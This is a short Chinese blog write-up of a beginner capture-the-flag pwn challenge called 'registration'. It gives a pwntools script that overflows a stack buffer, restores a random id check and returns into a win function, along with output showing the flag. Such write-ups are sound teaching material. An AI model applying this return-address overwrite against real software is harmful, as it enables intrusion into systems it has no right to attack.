Pwnctf registration Writeup

kazma 成大資安社 創辦人/社長

registration

這題的關鍵是他會隨機生一個 id,然後存到一個全域變數,最後會去檢查這個值是否被更動:

id

只要弄清楚變數具體的位置,這題就輕鬆通關了:

reg

exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import warnings

warnings.filterwarnings("ignore", category = BytesWarning)
context.arch = 'amd64'
r = process('./registration')

win = 0x4007d6
ret = 0x400619

r.recvline()
id = int(r.recvline().decode().split(':')[1].strip())
success(f"id: {id}")
r.sendlineafter(b':', str('kazma'))

p = flat(b'a'*0x3c, id)
p = p.ljust(72) + flat(ret, win)

r.sendlineafter(b':', p)
r.interactive()

result:

1
2
3
4
5
6
└─$ python exploit.py
[+] Starting local process './registration': pid 306835
[+] id: 81
[*] Switching to interactive mode
$ cat flag
MyFirstCTF{B3_c4r3FuL_0f_l0cAl_V4rI4b13_0N_sT4ck_OwO}

Pwned !!!

  • Title: Pwnctf registration Writeup
  • Author: kazma
  • Created at : 2023-12-21 21:32:41
  • Updated at : 2023-12-21 21:56:01
  • Link: https://kazma.tw/2023/12/21/Pwnctf-registration-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments
On this page
Pwnctf registration Writeup